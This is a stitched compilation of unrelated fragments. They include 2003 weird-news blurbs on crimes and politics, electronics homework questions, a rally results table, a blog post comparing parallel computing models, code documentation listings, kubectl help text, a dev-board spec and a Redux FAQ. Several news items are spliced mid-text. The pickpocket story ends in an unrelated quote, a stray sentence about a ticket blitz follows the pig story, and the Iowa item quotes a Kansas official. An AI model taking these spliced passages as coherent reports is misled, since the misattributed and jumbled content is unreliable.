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June 04, 2003
Cult leader says America secretly run by SF mayor
San Francisco Examiner | Submitted by: Reid Fleming
"A bit Ken Kesey and a bit Jim Jones, farmer and self-proclaimed '9/11 Bounty Hunter' John Jenkel is assembling a following of disaffected youth who ape his wild claims of government conspiracy. ... He teaches them from a hand-assembled book some call 'John's Bible.' Jenkel has pressured various local officials for years and now has a theory that [San Francisco mayor Willie] Brown and Vice President Dick Cheney control the country with Bush acting as their puppet. ... 'The best thing is just to ignore them,' [a Brown spokesman] said, adding that the new following makes the whole thing sound 'very David Koresh.'"
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Taliban II now playing in northwest Pakistan
BBC | Submitted by: Gambrinus
"It is the first time the strict code, based upon the teachings of the Koran, has been in force in Pakistan. ... 'We will preach to people to adopt good things and give up bad things. We will also make laws to persuade youngsters to obey their parents.' The bill gives Sharia precedence over secular provincial law and stipulates that every Muslim will be bound by it. It proposes restricting the rights of women, and calls for education and financial systems to be brought into line with the teachings of the Koran."
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Australian Dracula wannabe shot dead
News Corporation | Submitted by: Eris Kaos
"A gigolo who warned of his execution if he were named over charges he raped a client and drank her blood was gunned down an hour before he was due to appear in court yesterday. ...  He had several sex sessions with the woman at her home in the inner-Melbourne suburb of Richmond before she met him at the plush Hotel Saville. In the attack, a chunk of her tongue was ripped out."
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More Americans trust Tony Blair than George Bush
BBC | Submitted by: Bonny Fide
"Tony Blair is more respected as a world statesman by the people of the United States than George W Bush, a poll suggests. ... More Americans, when asked whether they had confidence in a world leader to 'do the right thing' regarding world affairs, said they trusted the British prime minister (83%) than their own president (78%)."
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Woman slashed, beaten, splashed with acid
New York Newsday | Submitted by: Dirty Sammy
"Two men burst into a Brooklyn law office yesterday and slashed a woman's face, beat her with a cell phone and doused her with flammable liquid, police said. ... [T]he two men entered, cut the woman across the face with a knife or a box cutter, threw the liquid and hit her with a cell phone."
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North Carolina cops love Eric Rudolph
CNN | Submitted by: Ryan
"Four local officers obtained the information through relatively cordial conversations with Rudolph, who was placed not in a cell but in the breathalyzer room of the Cherokee County Jail, where he slept a lot and was given a steady supply of the things he requested -- cigarettes, water, and healthy foods, officials said. 'He said he appreciated the way we treated him. We treated him awful good,' said Cherokee County Detention Officer Lester White. ... When Rudolph left for Birmingham, White said, 'We wished him the best of luck, shook his hand, and said we'd remember him in our prayers.'"
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LAPD officer accused of selling police database info
Los Angeles Times | Submitted by: Reid Fleming
"A Los Angeles police sergeant has been suspended for allegedly tapping into confidential police databases... The logs indicated that [the cop] had accessed personal information about Anita Busch, a Los Angeles Times reporter who was investigating actor Steven Seagal and his ties to an alleged Mafia associate. ... That probe began with the arrest of Alexander Proctor, an ex-convict now charged in state court with having made a criminal threat against Busch. Proctor, 59, allegedly placed a dead fish, a rose and a note saying 'Stop' on Busch's car last June 20. At the time, Busch was researching a story on Seagal's business dispute with Julius Nasso, a former production partner. Federal officials have alleged that Nasso is an associate of the Gambino crime family."
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Christians sue to violate Disneyworld's no-fly zone
Bradenton Herald | Submitted by: Reid Fleming
"The federal government's no-fly zone over Walt Disney World will be challenged in court Thursday by a conservative Christian organization that wants to fly anti-homosexual banners over the park during this week's Gay Days festivities. The Virginia-based Family Policy Network says the restriction -- adopted to prevent possible terrorist attacks -- violates its free speech rights. The group wants to fly planes pulling banners reading: 'JESUS CHRIST: HOPE FOR HOMOSEXUALS.COM' over the park."
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Security screener pickpockets passenger
Oregon Live | Submitted by: fredbox
"A federal security screener at Portland International Airport has been accused of taking $1,300 in cash from a passenger's purse last month at a security checkpoint, according to a Transportation Security Administration spokesman and the passenger. The money -- 13 crumpled $100 bills -- was later found in a trash basket near the checkpoint after the passenger discovered the money missing and complained."  Melvina Campbell was so incensed after hearing her son testify that she told police on him. Then the 59-year-old housekeeper took the stand herself to inform the world that her son Ronnie is a liar."
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World's most conspicuous train hopper
Wire Services | Submitted by: mayhem
"'She was hanging upside down, topless, from a moving train.' Police Capt. Jim Maloney said engineers stopped the train, which had only four or five cars, and approached the woman. She yelled at them and struck one with a rock before climbing to the roof of the car."
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This article...
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Drug squad switches sides
News Corporation | Submitted by: Eris Kaos
"Victoria's discredited and disbanded drug squad contributed to Melbourne's drug problem and may have turned small-time operators into elite dealers, an Ombudsman's report has found. ... The report strongly condemned the squad's use of so-called 'controlled chemical deliveries,' which saw police give precursor chemicals and pseudoephedrine to informers. The report revealed the squad had accumulated 'substantial profits' through the supply of chemicals."
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Iowa taxes illegal drugs
Wichita Eagle | Submitted by: Any Mouse
Iowa law taxes all illegal drugs -- from marijuana to cocaine. The state issues stamps, which vary in cost and color according to the drug, to be affixed to the drug to show the tax has been paid. ... The stamps cost $5 a gram for marijuana, $750 per marijuana plant, $250 a gram for other drugs and $400 per 10 doses of drugs that come in tablet form, such as ecstasy. 'We look at it as a way to tax the underground economy. Just because something is illegal doesn't mean it shouldn't be taxed,' said Pete Bodyk, operations officer for the Kansas Division of Alcoholic Beverage Control." [Fucking tax-and-spend liberals.] For the record, other states do this as well.
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Farmer eaten by own pigs
Independent Online | Submitted by: Barnoid
"A large breeding sow and eight piglets ate an elderly farmer who fainted and fell into a pig sty in north-eastern China's Liaoning province, state media said on Tuesday. Police in Daohugou village, Jianchang county, found the pigs gnawing on human bones after neighbours reported having not seen the 73-year-old widower for two days."
 Critics say the cash-strapped city has launched a ticket blitz to help close its $3.8 billion budget gap, and the police union is so embarrassed it has begun a 'Don't Blame the Cop' ad campaign."
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Man busted with 'pot car' bought in auction seeks damages
Sacramento Bee | Submitted by: Tim Howard
"A car purchased at a U.S. marshal's auction four years ago had a hidden surprise for its new owner: 119 pounds of marijuana hidden in the bumpers. The buyer, Jose Aguado Cervantes, didn't know about the hidden stash until he was stopped at the U.S.-Mexican border three months later. Cervantes, 67, spent three months in jail as a result. ... Cervantes is seeking damages for the government's error, alleging negligence, false imprisonment and false arrest."
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Determine the forward voltage and forward current for each diode in Figur 1(a) for each of the diode models.Also find voltage across the limiting resistor each case. Assume rd=10Ω at the value of forward current.
Determine the peak and average power delivered to RL in Figure 1(b).
Determine the minimum and the maximum load currents for which the zener diode in Figure 2 will maintain regulation. What is the minimum value of RL
that can be that can be used? VZ remains a constant 12 V over the range of current values, for simplicity.
The transistor in Figure 3(a) has the following maximum ratings: PD(max)
=800mW, VCE(max)=15V, and I
(max)=100mA.Determine the maximum value to which VCC can be adjusted withour exceeding a rating. Which ration would be exceeded first?
If the βDC in Figure 3(b) changes from 100 to 150 due to a temperature incerase, what is the change in clooector current?
Determine the Q-point for the circuit in Figure 4(a) and draw the dc load line.Find the maximum peak value of base current for linear operation. Assume βDC = 200.
What is the minimum value of βDC in Figure 4(b) that makes RIN(BASE)≥10R2? The bias resistr R2
is replaced by a potentiometer. What minimum resistance setting causes saturation?
In Figure 5(a) for the common-emitter amplifier, VCC=12V, RC
=1.0kΩ.For the Darlington emitter-follower,
R1=10kΩ, R2=22kΩ, RE=22Ω, RL=8Ω,
VCC=12V, and βDC=
βac=100 for dach transistor.Negledt RIN(BASE)of the Darlington.
For the Darlington emitter-follower,
Determine the voltage gain of the common-emitter amplifer.
Determine the voltage gain of the Darlington emitter-follower.
Determine the overall voltage gain and compare to the gain of the common-emitterr amplifier friving the speaker directly without the Darlington emitteer-follower.
Select a minimum value for the emitter bypass capacitor, C2, in Figuer 5(b) if the amplifier must operate over a frequency range from 200Hz to 10kHz.


Achievement Unlocked: two completed plumbing projects with only three Home Depot trips and four distinct, swear-worthy mistakes. #success
8/11/2021, 2:11:19 PM
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link--- layout: tweet ---
Achievement Unlocked: two completed plumbing projects with only three Home Depot trips and four distinct, swear-worthy mistakes. #success
8/11/2021, 2:11:19 PM
Favs: 2
Retweets: 0
link


| Pos. | Piloto | Marca | Penalización | Diferencia |
| 1 | Toby PRICE | KTM 450 Rally Factory | 18:18:24.0 | |
| 2 | Sam SUNDERLAND | KTM 450 Rally Factory | +2:11.0 | |
| 3 | Pablo QUINTANILLA | Husqvarna 450 Rally Factory | +3:23.0 | |
| 4 | Mohammed AL BALOOSHI | KTM 450 Rally Replica | +38:14.0 | |
| 5 | Pierre Alexandre RENET | Husqvarna 450 Rally Factory | +38:38.0 | |
| 6 | Laia SANZ | KTM 450 Rally Factory | -56:00.0 | +1:01:01.0 |
| 7 | Jose Ignacio CORNEJO FLORIMO | KTM 450 Rally Replica | +1:01:04.0 | |
| 8 | Jakub PIATEK | KTM 450 Rally Replica | +1:09:33.0 | |
| 9 | David MCBRIDE | KTM 450 Rally Replica | -53:12.0 | +1:18:53.0 |
| 10 | David THOMAS | Husqvarna FR 450 Rally | -3:53.0 | +2:32:58.0 |
| 11 | Khalid AL FALASI | Honda CRF 450 | 1:00.0 | +2:50:47.0 |
| 12 | Rafal SONIK | Honda TRX 700 | +3:29:09.0 | |
| 13 | Camelia LIPAROTI | Yamaha Raptor 700 | 5:30.0 | +5:11:06.0 |
| 14 | Pawel STASIACZEK | KTM 450 Rally Replica | 5:00.0 | +5:48:16.0 |
| 15 | Ibrahim ALRUBAIAN | KTM 450 Rally Replica | +5:50:48.0 | |
| 16 | David MABBS | KTM 450 Rally Replica | +5:59:25.0 | |
| 17 | Scott BRITNELL | Husqvarna FE450 | +6:01:11.0 | |
| 18 | Ben YOUNG | KTM 450 Rally Replica | +6:46:36.0 | |
| 19 | Rosa ROMERO FONT | KTM 450 Rally Replica | +7:04:47.0 | |
| 20 | Paul MIDDLETON | KTM 450 Rally Replica | +7:05:15.0 | |
| 21 | Jubany HERMS FERRAN | KTM 450 Rally Replica | +7:08:28.0 | |
| 22 | Arjan BOS | Husqvarna FR 450 Rally | 1:00.0 | +8:27:26.0 |
| 23 | Thomas PREUSS | KTM 450 Rally Replica | 3:00.0 | +9:42:29.0 |
| 24 | Stephan PREUSS | KTM 450 Rally Replica | 2:00.0 | +9:44:55.0 |
| 25 | Kees KOOLEN | Honda TRX 680 | 7:10:00.0 | +14:16:46.0 |
| 26 | Helder RODRIGUES | Yamaha WR 450 | 13:30:00.0 | +18:52:48.0 |
| 27 | Joikef SVEINBJORNSSON | Husqvarna FR 450 Rally | 25:50:00.0 | +34:59:24.0 |
| 28 | Ignacio CASALE | Yamaha Raptor 700 | 32:05:00.0 | +39:11:41.0 |
| 29 | Mark DAVIDSON | KTM SXF 450 | 25:06:36.0 | +40:25:19.0 |
| 30 | Jan ZATKO | Honda CRF 450 | 64:25:00.0 | +82:45:27.0 |
| 31 | Deniz ALGUN | KTM EXC500 | 94:25:00.0 | +117:09:18.0 |
| 32 | Tony SCHATTAT | KTM 450 Rally Replica | 116:45:00.0 | +139:29:03.0 |


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Tests
Dojo-Bootstrap/Carousel
Lake
Canada?
Hills
California?
Dirt Road
Netherlands?
Snow
Switzerland?
‹
›


(This blog post is our joint effort with Sergei, all typos and missing Oxford commas are mine). The quest to make massively parallel computation easily accessible to everyone has been a daunting one for many generations of computer scientists and engineers. While far from being complete, with cloud computing infrastructure available through Amazon EC2, Google Compute Engine, and other similar platforms a significant milestone has been reached. At the same time the quest to establish rigorous theoretical foundations of massively parallel computing has led to development of multiple theoretical models. Despite different modeling assumptions underlying these models, many parallel algorithmic techniques can be used in some or all of them with minor modifications. Moreover, in some restricted scenarios even direct simulations are available. In this post we discuss some of the most popular theoretical models for parallel computing and the relationships between them.
MapReduce
We will strongly emphasize connections between these different models and the modern MapReduce model for computation in the cloud (MRC) that we described here. As a reminder, the MRC model is specified by the number M of identical machines each having S local memory.
The goal of the algorithm design is to minimize the number of parallel rounds of computation which we denote as R. In each communication round the number of bits sent and received by each machine is at most S (in fact, in most cases only the bound on the incoming communication matters).
We will use the Minimum Spanning Tree (MST) problem as a benchmark for comparison between the models. In MRC the MST problem can be solved in constant number of rounds for sufficiently dense graphs. As shown through a filtering technique by Lattanzi et al. here for graphs with edges rounds suffice assuming and so that the total space is .
Bulk Synchronous Parallelism
The Bulk Synchronous Parallel model (BSP) was introduced by Leslie Valiant in 1990 in his seminal article “A Bridging Model for Parallel Computation”. While this model has been subsequently refined to capture multicore computing in 2008, here we focus on the original BSP model. BSP and MRC are very closely related. The key idea behind BSP is breaking computation into synchronized supersteps and it later formed the basis in MRC.
BSP computation assumes a set p of processors, each with local memory. Moreover, the computation proceeds in a series of global synchronized supersteps. There are three parameters that are combined to give the cost of a BSP computation:
- The number of processors, p.
- The number of timesteps needed to synchronize, l (communication latency).
- The number of timesteps needed to send one word of memory to a different machine, g (communication gap).
Some of the descriptions of the models also include the speed of each processor (instructions/sec), s. But we can easily factor that out when working with homogeneous machines.
The cost of a superstep where each processor does at most x operations and sends/receives at most h words is then: l + x + g * h.
The total work is p times the cost of the superstep, and the efficiency is the ratio of the best sequential algorithm to the total work (over all supersteps). Note that since latency and gap may depend on the number of processors, the total cost is superlinear in the number of processors.
One of the goals of BSP was to give the analytically best algorithm for different settings of the parameters. This would allow one to decide what is the fastest or most work efficient algorithm for a particular setting. It is not surprising then that some of the early work focused on how to minimize values of g, l in various network topologies (torus, hypercube, butterfly, etc.). Additional work also measured these across different networks realized in practice.
One way to generalize the BSP model is to model the fact that communication costs are not linear (sending 1Mb between machines is much cheaper than sending 1,000,000 distinct one byte messages.) We can model this by letting G() be a function of the number of words sent. In traditional BSP then, . In the MRC model of computation, is discretized – with for some large constant K that dwarfs all computation costs. Such choice of a cost function implies that in order to best use communication the computation should be broken into rounds with at most bits sent between the rounds. In MRC l is taken to be O(1) as synchronization can proceed at any time.
Due to a large number of parameters the algorithmic results in the BSP model tend to be bulky to state. We refer the reader to this paper by Adler et al. for the details of the MST algorithm in the BSP. To the best of our knowledge there aren’t many algorithmic results in the BSP model. This might be partially due to its invention having been ahead of its time and partially due to a large number of parameters which makes it not very friendly for algorithm design. One of the key contributions of the MRC model is reduction in the number of parameters making algorithmic results cleaner and easier to state and compare.
Parallel Random Access Machines
The model is characterized by:
- The number of processors, p.
- The size of the shared memory, m.
- The size of local memory available to each processor, l.
Furthermore, read/write access to the shared memory might be implemented differently:
- ER/CR: Exclusive Read/Concurrent Read allow to perform read access to each shared memory cell either to only one processor (ER) or to any number of processors (CR) during each superstep.
- EW/CW: Exclusive Write/Concurrent Write allow to perform write access to each shared memory cell either to only one processor (EW) or to any number of processors (CW). In case if multiple write operations occur to a shared memory cell under CW there exist multiple policies for resolving which value is going to be written (priority-based, random, arbitrary, etc.).
Among four possible combinations of read/write access rules only three are typically considered: EREW, CREW, and CRCW (requires a specification of the conflict resolution policy). Since we only discuss PRAMs very briefly here, we refer the reader to this paper by Guy Blelloch and Bruce Maggs and this class at CMU for a comprehensive introduction to PRAMs.
A restricted class of EREW PRAM algorithms can be simulated in MRC with only a constant overhead in the number of rounds. The basic idea is the following. Assuming that:
- m + p * l < M * S (the total memory used by PRAM algorithm is less than the total memory available to MRC)
- l < S (local memory in PRAM is less than in MRC, which is reasonable given that typically p is much bigger than M)
one can simulate EREW access to all the shared memory cells in rounds while using memory to perform the local computations. This is done by assigning machines to simulate PRAM processors each and machines to simulate the shared memory cells. Since the read/write requests are exclusive they can be directly communicated between the simulated processors and the simulated memory cells. Note that simulating concurrent reads might overload the machines simulating the memory if much more than requests are simultaneously submitted. See Theorem 7.1 here for the details (modulo the ER vs. CR issue discussed above). Also note that while the number of rounds is preserved well this simulation might lead to time-inefficient algorithms since multiple PRAM processors might be simulated sequentially on a single MRC machine.
Models with Restricted Communication
In models with restricted communication the input graph corresponds to a communication network between machines. Initially each machine has the list of its neighbors as the input. Moreover, the communication is restricted in one of the two ways:
- Messages can only be sent over an underlying network between the machines, i.e. in every round each machine can only talk to its neighbors. In this case for graph problems which depend on the entire input the diameter of the network D often gives a lower bound on the number of rounds since messages must be propagated through the network.
- Messages are restricted in size. When discussing size-restricted messages below we will always assume that the bound on the message size is W = O(log n) where n is the input size.
The three models discussed below (LOCAL, CONGEST and CONGESTED CLIQUE) correspond to the three possible combinations of these two restrictions. In all these models the computational power of the machines is either unbounded or limited to polynomial time computation on their input. We discuss these models only briefly here since they are more applicable to settings such as sensor networks rather than massively parallel computing. A good introduction into algorithmic techniques is given in this class at MIT.
LOCAL
The most basic of the restricted communication models is LOCAL. In this model the communication is restricted to the underlying network while message size is unbounded. This allows to solve any problem trivially in D rounds. Lower bounds in this model show that rounds are necessary for computing a Minimum Spanning Tree and 2-coloring even for instances as simple as an even cycle.
CONGEST
In the CONGEST model restrictions are imposed both on the communication network and the message size (W=O(log n)). Two flavors of these models exist: one that allows to send arbitrary messages and one that only allows each machine to broadcast the same message to its neighbors. Below we discuss the first of these two versions which has been studied more extensively. In this model the number of rounds necessary and sufficient for computing a Minimum Spanning Tree is .
CONGESTED CLIQUE
Finally in the CONGESTED CLIQUE model we only have the message size restriction (W=O(log n)). In this model a Minimum Spanning Tree can be computed deterministically in rounds (Lotker, Patt-Shamir, Pavlov, Peleg ‘05). A recent preprint shows an -round randomized algorithm. This model is the closest of the three to the MRC model because there is no restriction on the communication topology. In some restricted scenarios there exist simulations of algorithms for CONGESTED CLIQUE in the MRC model, see here. However, in general the CONGESTED CLIQUE model is incomparable to MRC since both the outgoing and incoming communication for each machine are allowed to be linear in the input size while for MRC both are strictly sublinear. In particular, sparse graph connectivity can be solved in CONGESTED CLIQUE in one round by sending all edges to a single machine.
The “Big Data” Model
The “Big Data” model introduced in this paper is a generalization of the CONGESTED CLIQUE model. Instead of having the number of machines being the same as the number of vertices in the graph, the number of machines is treated as a parameter . The input graph is vertex partitioned between these machines. In one round any pair of machines is allowed to communicate using messages of size W=O(log n). Close relationship to the CONGESTED CLIQUE model allows to reuse existing algorithmic techniques. Near-optimal results for many fundamental problems in the “big data” model are given here. In particular for computing a Minimum Spanning Tree rounds are necessary and sufficient.
Among all models with restricted communication the “big data” model is the one most similar to MRC. However, a hard bound on communication leads to very strong lower bounds in this model such as the lower bound for MST discussed above.


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Team 302 Robot
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This is the complete list of members for xpath_ast_node, including all inherited members.
| eval_boolean(const xpath_context &c, const xpath_stack &stack) | xpath_ast_node | inline |
| eval_node_set(const xpath_context &c, const xpath_stack &stack, nodeset_eval_t eval) | xpath_ast_node | inline |
| eval_number(const xpath_context &c, const xpath_stack &stack) | xpath_ast_node | inline |
| eval_string(const xpath_context &c, const xpath_stack &stack) | xpath_ast_node | inline |
| eval_string_concat(const xpath_context &c, const xpath_stack &stack) | xpath_ast_node | inline |
| is_posinv_expr() const | xpath_ast_node | inline |
| is_posinv_step() const | xpath_ast_node | inline |
| nodetest | xpath_ast_node | |
| number | xpath_ast_node | |
| optimize(xpath_allocator *alloc) | xpath_ast_node | inline |
| optimize_self(xpath_allocator *alloc) | xpath_ast_node | inline |
| rettype() const | xpath_ast_node | inline |
| set_next(xpath_ast_node *value) | xpath_ast_node | inline |
| set_right(xpath_ast_node *value) | xpath_ast_node | inline |
| string | xpath_ast_node | |
| table | xpath_ast_node | |
| variable | xpath_ast_node | |
| xpath_ast_node(ast_type_t type, xpath_value_type rettype_, const char_t *value) | xpath_ast_node | inline |
| xpath_ast_node(ast_type_t type, xpath_value_type rettype_, double value) | xpath_ast_node | inline |
| xpath_ast_node(ast_type_t type, xpath_value_type rettype_, xpath_variable *value) | xpath_ast_node | inline |
| xpath_ast_node(ast_type_t type, xpath_value_type rettype_, xpath_ast_node *left=0, xpath_ast_node *right=0) | xpath_ast_node | inline |
| xpath_ast_node(ast_type_t type, xpath_ast_node *left, axis_t axis, nodetest_t test, const char_t *contents) | xpath_ast_node | inline |
| xpath_ast_node(ast_type_t type, xpath_ast_node *left, xpath_ast_node *right, predicate_t test) | xpath_ast_node | inline |


Update field(s) of a resource using strategic merge patch, a JSON merge patch, or a JSON patch.
JSON and YAML formats are accepted.
Examples:
# Partially update a node using a strategic merge patch. Specify the patch as JSON.
kubectl patch node k8s-node-1 -p '{"spec":{"unschedulable":true}}'
# Partially update a node using a strategic merge patch. Specify the patch as YAML.
kubectl patch node k8s-node-1 -p $'spec:\n unschedulable: true'
# Partially update a node identified by the type and name specified in "node.json" using strategic merge patch.
kubectl patch -f node.json -p '{"spec":{"unschedulable":true}}'
# Update a container's image; spec.containers[*].name is required because it's a merge key.
kubectl patch pod valid-pod -p '{"spec":{"containers":[{"name":"kubernetes-serve-hostname","image":"new image"}]}}'
# Update a container's image using a json patch with positional arrays.
kubectl patch pod valid-pod --type='json' -p='[{"op": "replace", "path": "/spec/containers/0/image", "value":"new image"}]'
kubectl patch (-f FILENAME | TYPE NAME) -p PATCH [options]
Use "kubectl options" for a list of global command-line options (applies to all commands).


Restore limitations can be used to control which files and databases get restored. Remember, if you make a mistake you can rollback the last restore and try again with different limitations.
By default all files and databases get restored. Negative limitations start with a minus sign and exclude files or directories from being restored. We use the same format to configure backup overrides, except that limitations only apply during restore time.
LIMIT := -?(/path/to/include/or/exclude | mysql:database[/table])
Any number of limitations can be specified, on separate lines or separated by whitespace.
# Exclude system configuration changes -/etc # Except changes to Webmin configuration /etc/webmin # Exclude the Drupal cache table from being restored -mysql:drupal6/cache


This project is one of the biggest that I’ve worked on. It was for a Credit Union, and we wanted to make them different from the "Big 5" Canadian banks. We pitched 3 different layouts which you will see below.
The welcome section has a cinematography as the background. Users can access their accounts directly from this section, and if they want to access the menu, they can access it from the menu button at the top.
When the user starts scrolling, the navigation sticks to the top of the page, so it’s always there to help.
Meridian is a company that values their community and customers, so instead of filling the sections with a lot of information about their products or services, we went with placing community news on the homepage.
This is another concept that plays it safe. It is clean and gives a little more information about the services Meridian provides.
The third concept uses the fixed, full height, left navigation style that remains open. This style is a combination of the previous two. Because navigation is on the left, we have the full content area available for actual content.


Quick start with WaziDev 1.3
WaziDev is an integrated IoT LoRa device which provides an energy-efficient and integrated board.
Specification
| Processor System | MCU RAM FLASH |
ATmega328p 8Mhz 2 KB 32 KB |
| Wireless Network | Standard Frequency Band Channels Transmit Power Receiver Sensitivity RF Data Rate Modulation Function Antenna connector |
LoRa 863-870MHz for Europe/Africa 1 +20dBm -100mW constant RF output -148dBm 300kbps FSK, GFSK, GMSK, MSK, OOK Sensor Node Integrated PCB antenna / External UFL |
| Indicator and Button | LED Button On/OFF switch Regulator Switch |
4, PWR LED, Indicator LED, Charging/Full battery 1, Reset button 1, two pins for on/off switch + a jumper to keep the board always on 1, A jumper that can be used to bypass the regulator for low power applications |
| I/O | UART ICSP I2C Analog input Digital I/O Extra GND High Current output USB Input power |
1 1 1 8 (Arduino standard pins: A0-A7) 9 (Arduino pins, some are used by LoRa) 8 (a Ground Rail) 2 (max 500mA): M8, M9 1, USB micro Type for programming and power 1, LiPo/Regular Battery |
| Power | Supply voltage Battery support Battery charger Power Consumption Battery Level monitor Optimization Jumpers |
3.3V - 5V 3v (max 3.6v DIRECT and 6v Regulated) Max 1A input current (through Micro USB port) - LOW active on pin D7 and read BAT level on A7 2, Disabling: Status LEDs, Charger LEDs |
| Environment | Operational Temperature Operating Humidity |
-20 ~ 70° C 5% ~ 95% Relative Humidity, non-condensing |
| Mechanical | Dimensions | 70 x 40 mm |
| Programming | IDE | Arduino compatible (Select Pro Mini 3.3V 8Mhz) |
Pinout description
ON/OFF switch: This jumper can be used as on/off switch for the board. It is ON by default.
Regulator Activation: The jumper indicated by DIRECT / REG sets the board to use a regulated voltage or direct. The direct setting is only if you use an input battery of maximum 3.6V any voltage higher than that can damage the LoRa module. Please note that to always keep this config in REG mode when programming the board.
Analog Pins: Arduino standard analog pins A0-A7. Please note that A7 is connected to the battery voltage level monitoring circuit which can be activated by setting the digital pin D7 to LOW, so D7 should be set to HIGH always.
External Antenna (UFL): The board has an embedded PCB antenna which is activated by default and optimized for 868Mhz frequency. If you want to use your own antenna instead you need to deactivate the PCB antenna by cutting its jumper on the back of the board indicated by JA then you can connect your antenna to the UFL connector.
High current pins ( max 500mA ): M8 and M9 are high current/voltage programmable output pins. They can be programmed through digital pins D8 and D9 respectively. It can be used to activate high current/voltage devices/sensors. The maximum current which can be drained is 500mA and the maximum voltage is 12v. The wiring is as follows: The Ground wire of the external high current/voltage source is connected to the same ground of the board (GND), and the positive wire of the power source is connected to the high current device that needs to be controlled by our board. One of the pins of M8 or M9 is connected to the Ground of the high current device, then we can turn it on and off by writing HIGH and LOW to the digital pins D8 or D9 respectively.
Digital Pins: Arduino standard digital pins D2-D12. Please note that D13 is situated on the opposite side of D12.
VCC ( 3.3v ): WaziDev board operates with 3.3v, VCC pins provide 3.3v as output, they can be used as input voltage as well.
Lipo/regular battery: This port is designed to be used as input for Lithium Ion rechargeable battery or just a regular battery. There is an onboard charger which enables the board to use a solar panel. Please note that the solar panel must be connected to either Micro USB port or VIN pin. Warning: your rechargeable battery must have its own protection circuit otherwise it might gets overcharged and cause fire. (usually good quality batteries have it)
Micro USB port: This port is used to power the board on through USB cable and program the board via Arduino IDE. Please note that you need to first install the driver on your computer:
To programm the board, in Arduino IDE, on the boards menu, you need to select Arduino Pro or Mini, ATMega328p 3.3v @ 8MHz.
Jumpers
| Indicator | Function | Default |
|---|---|---|
| JL | LED13 and PWR LEDs | Connected |
| JC | Charger status LEDs (CHG, FULL) | Connected |
| JB | Battery level read | Connected |
| JA | Embedded Antenna | Connected |
| JS | Power Switch | Open |
| JR* | Radio Interrupt | Open |
*When connected, connects the LoRa interrupt pin to D2
An wxample wiring diagram for WaziDev with sensors and a relay.
Have fun with Waziup.


#include <BatchClient.hpp>
|
| | BatchClientImp (const std::string &server_key, double timeout, int num_signal, int num_control) |
| |
| | BatchClientImp (int num_signal, int num_control, std::shared_ptr< BatchStatus > batch_status, std::shared_ptr< SharedMemory > signal_shmem, std::shared_ptr< SharedMemory > control_shmem) |
| |
| virtual | ~BatchClientImp ()=default |
| |
| std::vector< double > | read_batch (void) override |
| | Ask batch server to read all signal values and return result. More...
|
| |
| void | write_batch (std::vector< double > settings) override |
| | Ask batch server to write all of the control values. More...
|
| |
| void | stop_batch (void) override |
| | Send message to batch server asking it to quit. More...
|
| |
| | BatchClient ()=default |
| |
| virtual | ~BatchClient ()=default |
| |
◆ BatchClientImp() [1/2]
| geopm::BatchClientImp::BatchClientImp |
( |
const std::string & |
server_key, |
|
|
double |
timeout, |
|
|
int |
num_signal, |
|
|
int |
num_control |
|
) |
| |
◆ BatchClientImp() [2/2]
| geopm::BatchClientImp::BatchClientImp |
( |
int |
num_signal, |
|
|
int |
num_control, |
|
|
std::shared_ptr< BatchStatus > |
batch_status, |
|
|
std::shared_ptr< SharedMemory > |
signal_shmem, |
|
|
std::shared_ptr< SharedMemory > |
control_shmem |
|
) |
| |
◆ ~BatchClientImp()
| virtual geopm::BatchClientImp::~BatchClientImp |
( |
| ) |
|
|
virtualdefault |
◆ read_batch()
| std::vector< double > geopm::BatchClientImp::read_batch |
( |
void |
| ) |
|
|
overridevirtual |
Ask batch server to read all signal values and return result.
Command is issued to batch server to read all pushed signal values. All of the values read by the batch server are returned.
- Returns
- A vector containing all values read by batch server
Implements geopm::BatchClient.
◆ stop_batch()
| void geopm::BatchClientImp::stop_batch |
( |
void |
| ) |
|
|
overridevirtual |
◆ write_batch()
| void geopm::BatchClientImp::write_batch |
( |
std::vector< double > |
settings | ) |
|
|
overridevirtual |
Ask batch server to write all of the control values.
Sends the vector of settings to the batch server. This function blocks until the batch server has written all values.
- Parameters
-
| settings | [in] Control settings to be written: one for each control requests made when batch server was created. |
Implements geopm::BatchClient.
The documentation for this class was generated from the following files:


Scientific Writing with DocOnce
Contents
Scientific Writing with DocOnce
DocOnce motivation and introduction talk
Scientific Writing and Publishing for the Future
:
HTML5 Slides
using
reveal.js
darkgray theme
HTML5 Slides
using
reveal.js
beige theme
HTML5 Slides
using
reveal.js
simple theme
HTML5 Slides
using
deck.js
sandstone.default theme
LaTeX Beamer
Plain HTML slides
Plain HTML slides with solarized colors
One big plain HTML file
Some other document-style versions of the slides above
PDF (LaTeX)
(anslistings.sty for code)
PDF (LaTeX)
(minted.sty for code)
DocOnce supports many slide styles, see the
demo collection
.


One of the best free graphics-programs. It has also a wide userbase and is updated regularly. works with layers.
There are many brushes and extensions you can find in the internet and there are many tutorials at youtube.
a forum where you can discuss, ask for help and also download extensions


#
Redux FAQ: Code Structure#
Table of Contents- What should my file structure look like? How should I group my action creators and reducers in my project? Where should my selectors go?
- How should I split my logic between reducers and action creators? Where should my “business logic” go?
- Why should I use action creators?
- Where should websockets and other persistent connections live?
- How can I use the Redux store in non-component files?
#
What should my file structure look like? How should I group my action creators and reducers in my project? Where should my selectors go?Since Redux is just a data store library, it has no direct opinion on how your project should be structured. However, there are a few common patterns that most Redux developers tend to use:
- Rails-style: separate folders for “actions”, “constants”, “reducers”, “containers”, and “components”
- "Feature folders" / "Domain"-style : separate folders per feature or domain, possibly with sub-folders per file type
- “Ducks/Slices”: similar to domain style, but explicitly tying together actions and reducers, often by defining them in the same file
It's generally suggested that selectors are
defined alongside reducers and exported, and then
reused elsewhere (such as in
mapStateToProps
functions, in async
action creators, or sagas) to colocate all the code
that knows about the actual shape of the state tree in
the reducer files.
tip
We specifically recommend organizing your logic into "feature folders", with all the Redux logic for a given feature in a single "slice/ducks" file".
See this section for an example:
Detailed Explanation: Example Folder Structure
An example folder structure might look something
like:
-
/src
-
index.tsx
: Entry point file that renders the React component tree -
/app
-
store.ts
: store setup -
rootReducer.ts
: root reducer (optional) -
App.tsx
: root React component
-
-
/common
: hooks, generic components, utils, etc -
/features
: contains all "feature folders"-
/todos
: a single feature folder-
todosSlice.ts
: Redux reducer logic and associated actions -
Todos.tsx
: a React component
-
-
-
/app
contains app-wide setup and
layout that depends on all the other folders.
/common
contains truly generic and
reusable utilities and components.
/features
has folders that contain
all functionality related to a specific feature.
In this example, todosSlice.ts
is a
"duck"-style file that contains a call
to RTK's
createSlice()
function, and exports
the slice reducer and action creators.
While it ultimately doesn't matter how you lay out your code on disk, it's important to remember that actions and reducers should not be considered in isolation. It's entirely possible (and encouraged) for a reducer defined in one folder to respond to an action defined in another folder.
#
